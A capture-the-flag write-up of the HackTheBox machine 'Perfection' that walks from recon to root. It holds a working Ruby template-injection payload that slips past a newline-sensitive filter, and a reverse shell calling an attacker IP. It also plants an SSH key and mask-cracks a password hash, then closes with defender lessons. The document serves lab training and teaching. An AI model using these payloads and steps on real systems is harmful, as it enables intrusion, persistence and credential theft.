Perfection
2024-03-21
INTRODUCTION
Perfection was released as the 9th box of HTB’s Season IV, “Savage Lands”, but I’m coming to it two weeks late. I really enjoyed this box, even though it was quite easy. I always appreciate when the box creator builds a little bit of a narrative around the box: in this case, we were dealing with a small school and the interaction between two people (shown on the About Us page) regarding the school’s computer systems. There weren’t too many distractions on this one: if you know what you’re looking at, the solution for all steps should be readily apparent.
There is negligible recon required - the only useful recon being some cursory nmap scans. If you play around with the website a little, the vulnerability stands out very clearly, as does the fact that they failed to patch or mitigate its risk. Exploiting this was the only part where I was temporarily thwarted (but I’ve since corrected that, and have added better checklists to my routine.)
Once exploiting for an initial foothold, there is very little required for this box. Frankly, you won’t even need to run any privesc enumeration tools for this one - just do the usual first steps to user enumeration manually, and you’ll see the correct information right away. One tip: after gaining foothold, go ahead and make an SSH connection instead - this will help the next step to stand out very clearly. After that, some really simple hash-cracking get’s you what you need to escalate to root.
😆 This box was pretty entertaining - I’ll definitely be recommending it to any beginners I meet. Thanks, @TheHated1!
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results from the vuln scan.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
Not shown: 82 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
7/udp open|filtered echo
68/udp open|filtered tcpwrapped
69/udp open|filtered tftp
80/udp open|filtered http
177/udp open|filtered xdmcp
427/udp open|filtered svrloc
999/udp open|filtered tcpwrapped
1025/udp open|filtered blackjack
1434/udp open|filtered ms-sql-m
1718/udp open|filtered tcpwrapped
2000/udp open|filtered tcpwrapped
3456/udp open|filtered tcpwrapped
32769/udp open|filtered filenet-rpc
32771/udp open|filtered sometimes-rpc6
49188/udp open|filtered unknown
49191/udp open|filtered unknown
49192/udp open|filtered unknown
49200/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
Noting the redirect from the nmap scan, I added download.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=perfection.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
Interesting - you don’t often see Ruby webservers. According to their official page, current Ruby version roughly 3.3.0. WEBrick latest is at 1.8.1, so this one is a little out of date.
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
As expected, no result. I wasn’t expecting anything though. Just for completeness, I’ll check for subdomains of perfection.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that. I’ll move on to directory enumeration on http://perfection.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v
Directory enumeration against http://[domain].htb/ gave the following:
Exploring the Website
I often like to check the page footer first, to see if they’re using any open-source projects that I can look up:
It looks like Secure Student Tools is just fictional. The description for Tina on the /about
page adds a little flavor:
“The web developer of our team, Tina is a Computer Science major at Acme University and a bright mind. She was the one who came up with the entire idea for the vision of Secure Student Tools™. She is an absolute whiz at web development, but she hasn’t delved into secure coding too much.”
The /weighted-grade
page seems to be the only interactive part of the website. Oddly, the form validation forces you to fill in all five rows:
It didn’t like the way that I submitted that data:
The form seems to prevent you from doing something like this:
The client-side validation doesn’t like that. 🙄 Fine. I put 100% on one, and 0% on the rest:
Ok, that’s interesting. It reflects the values back at us. Might be worth testing if I can do an SSTI for Ruby:
😹 Nope, it didn’t like that either:
This makes me think I’m probably on the right track. This error message suggests to me that they’re using some kind of filter or deny-list to detect what is “malicious”. If it were actually secure code, it would just escape everything properly and parse the escaped text into the template.
FOOTHOLD
Figure out the filter
EDIT: Since stumbling on this part of the box, I decided to write a short guide/checklist on doing bypasses of various kinds. Please see /strategy/filter-bypass/ for more detail.
One of the methods I describe in that strategy will work for this box. It’s one of the simpler ones, too.
I’ll try some filter bypasses to try to circumvent this. I’ll switch to Burp (partially because I won’t have to fill out the form over and over, partially because I might need to play with some of the http headers).
The SSTI page on PayloadAllTheThings suggests that the template engine is probably either ERB
or Slim
, so let’s isolate which of these characters are bad: }#{>%=<
<%= 7 * 7 %> # ERB
#{ 7 * 7 } # Slim
I tried these characters in place of one of the “category” of row 5:
Then repeatedly submitted those characters, removing one each time. If it showed “Malicious input blocked” all the way until the last character, I’d remove that one from the list and start again… until I tried all of them.
The result: all of them are “bad”. In fact, it seems like every “special character” is considered bad.
Then, I did a little reading for ideas and started trying all kinds of other things. Here are some of the sources I read:
- PayloadAllTheThings on Filter Bypass for XSS
- This blog post by Ally Petitt on WAF bypasses ⭐
- This HackTricks page on Linux filter bypasses (just for ideas)
- This blog post by David Hamann on bypassing filter regexes ⭐
A non-exhaustive list of all the things I tried includes:
- url-encoding, double url-encoding
- using unicode for all special characters
- Forcing alternative
charsets
using theContent-Type: application/x-www-form-urlencoded;charset=ibm037
trick - many, many more.
And the winner was… 🥁
Linefeed! Yes, a single newline character did the trick. As alluded-to in the two articles I marked with a ⭐ above, using a newline character is enough to bypass the regex:
This payload is just a url-encoded version of \n<%= 7 * 7 %>
PAYLOAD='%0a%3c%25%3d+7+%2a+7+%25%3e'
BODY="category1=Compooterss&grade1=90&weight1=20&category2=English&grade2=90&weight2=20&category3=Speeling&grade3=90&weight3=20&category4=Artt&grade4=90&weight4=20&category5=SSTI$PAYLOAD&grade5=90&weight5=20"
curl -sd "$BODY" http://perfection.htb/weighted-grade-calc | grep -A 1 -E 'Malicious|SSTI'
How does this work? It turns out that a popular mistake or shortcoming of regex modules is that they lack multi-line support. They’ll only parse a single line of text. So by inserting a newline before any of the “bad” characers, the regex filter is bypassed.
Gain RCE
Technically, the SSTI proof-of-concept is RCE. But how can we use this to get a shell on the target? It seems like the easiest way is to simply send a Ruby reverse shell inside the SSTI. Here’s the reverse shell I’ll use:
spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.19",4444))
But first, I’ll open up a port in my firewall and start a reverse shell listener:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
socat -d TCP-LISTEN:4444 STDOUT
Now let’s URL-encode the reverse shell. Here’s a little python script to do it, but Burp would work fine too:
#!/bin/env python3
import sys
import urllib.parse as ul
s = sys.argv[1]
print(s)
print(ul.quote_plus(s))
./url-encode.py 'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.19",4444))'
# spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.19%22%2C4444%29%29
Great, now we just need to send it to the target. I’m taking the SSTI from above and just replacing the ‘7 * 7
’ with the url-encoded reverse shell:
PAYLOAD='%0a%3c%25%3d+spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.19%22%2C4444%29%29+%25%3e'
BODY="category1=Compooterss&grade1=90&weight1=20&category2=English&grade2=90&weight2=20&category3=Speeling&grade3=90&weight3=20&category4=Artt&grade4=90&weight4=20&category5=SSTI$PAYLOAD&grade5=90&weight5=20"
curl -sd "$BODY" http://perfection.htb/weighted-grade-calc | grep -A 1 -E 'Malicious|SSTI'
And there we have it, a reverse shell:
👀 Oh?
susan
is in thesudo
group? Privesc might be pretty easy.
USER FLAG
Upgrade the shell
Since this is just sh
, let’s upgrade this shell quickly:
which python python3 php perl bash # python3 and bash are present
python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
stty rows 48 columns 197 # from stty -a
Get the flag
Let’s find out where the flag is, and see if we can read it directly:
find / -name 'user.txt' 2>/dev/null
Perfect, it’s in the home directory for susan
. Just read the flag for some points
cat /home/susan/user.txt
ROOT FLAG
Change to SSH
To get a little more comfortable, I’ll switch to SSH.
# On the attacker machine:
ssh-keygen -t rsa -b 4096 # used passphrase parr0t
chmod 700 ./id_rsa
base64 -w 0 id_rsa.pub | tee id_rsa.pub64
# On the target machine:
mkdir -p ~/.ssh
echo 'c3NoLXJ....bGkK' | base64 -d >> ~/.ssh/authorized_keys
# On attacker machine:
ssh -i ./id_rsa susan@$RADDR
😂 What? Susan appears to have mail. Let’s check it out:
cat /var/mail/susan
“Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials (‘our’ including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase. Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student”
Alright, that seems useful! Taking a quick look at /etc/passwd
doesnt seem like there’s anyone except root
to pivot to. However, there is a directory called Migration
in susan’s home directory. Possibly related? Let’s grab a copy:
scp -i ./id_rsa susan@$RADDR:/home/susan/Migration/pupilpath_credentials.db ./pupilpath_credentials.db
The database has only one table inside
Those look like password hashes. Let’s dump them into a file. Since susan
is the only one of these names that actually appears in /etc/passwd
, I’m only going to try to crack that one:
echo -n 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' > susan.hash
I also tossed this hash into name-that-hash
. It had some guesses about the most likely formats:
From the email, we know the format of the password: it should be susannasus#########
(where each # is a digit).
So let’s try a mask attack with john
:
john --mask=susan_nasus_?d?d?d?d?d?d?d?d?d --fork=4 susan.hash
Nice! It cracked in a matter of seconds.
Now that we have a password for susan
, we can finally check what is available with sudo
:
Oh, everything is available? Well, that couldn’t be easier!
Just cat
out the flag for some of the easiest root flag points you’ve ever seen 😜
cat /root/root.txt
EXTRA CREDIT
What was the regex anyway?
I was stuck at the SSTI step of this box for longer than I care to admit. Let’s see what was stopping me. The code is in /home/susan/ruby_app/main.rb
:
post '/weighted-grade-calc' do
total_weight = params[:weight1].to_i + params[:weight2].to_i + params[:weight3].to_i + params[:weight4].to_i + params[:weight5].to_i
if total_weight != 100
@result = "Please reenter! Weights do not add up to 100."
erb :'weighted_grade_results'
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1] =~ /^(?:100|\d{1,2})$/ && params[:grade2] =~ /^(?:100|\d{1,2})$/ && params[:grade3] =~ /^(?:100|\d{1,2})$/ && params[:grade4] =~ /^(?:100|\d{1,2})$/ && params[:grade5] =~ /^(?:100|\d{1,2})$/ && params[:weight1] =~ /^(?:100|\d{1,2})$/ && params[:weight2] =~ /^(?:100|\d{1,2})$/ && params[:weight3] =~ /^(?:100|\d{1,2})$/ && params[:weight4] =~ /^(?:100|\d{1,2})$/ && params[:weight5] =~ /^(?:100|\d{1,2})$/
@result = ERB.new(<SNIP>).result(binding)
erb :'weighted_grade_results'
else
@result = "Malicious input blocked"
erb :'weighted_grade_results'
end
end
Ok, so the regex is just this:
params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/
Literally all it does is check that it’s alphanumeric or slash or space, and cant be empty. Yikes, that makes me feel a little stupid.
LESSONS LEARNED
Attacker
Keep a checklist of filter bypasses on-hand. After doing this box, I went and wrote myself a short list of them. Naturally, each scenario you encounter will require different bypass techniques, but I tried to write down a few to get the creative juices flowing. Please see /strategy/filter-bypass for more detail.
Think like a better developer. This can be tricky, because usually you’re up against a team of well-trained developers that have been writing secure code for a long time. But sometimes, like in this case, you’re up against a novice, who doesn’t know how to code securely. I’m glad I picked up on the hints that pointed in this direction: such as getting an error message of “
Malicious input blocked
” instead of simply using proper code escapes in theSinatra
template.Keep the alternate uses of john/hashcat in mind. My initial reaction when cracking the passwords was to generate a wordlist containing all of the possible number suffixes. After a minute or so of waiting of that epic 10GiB file to write, I realized “oh, this is perfect for a mask attack”. Realizing that, I stopped writing the wordlist and cracked the password in seconds.
Defender
Template injection is always preventable. Use proper escapes for the template. SSTIs can be very dangerous. Usually template engines are quite forceful in guiding you to do it the correct way - follow the documentation!
Use pre-written regexes. Writing bulletproof regexes is really hard. It’s best to rely on more field-tested ones that others have written, instead of trying to reinvent the wheel. Consider using websites like https://regexlib.com or https://regex101.com/library.
Keep secrets out of mail. Even if it wasn’t just
/var/mail
, mail servers are really popular targets. It’s best to keep secrets out of them, such as your formula for password generation. Without the hint in/var/mail
, it would have been a little more difficult to crack the hashes I needed.High-privilege accounts should be treated specially. On this box,
susan
had full sudo access to the whole machine. I understand why - as the admin, it’s kind of a convenience thing (I’m not saying it’s right, I’m just saying I understand.) However, when we have such a high-privilege user, they should have special safeguards on their account. Givingsusan
the same security as any of the low-privilege students was a big mistake!
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake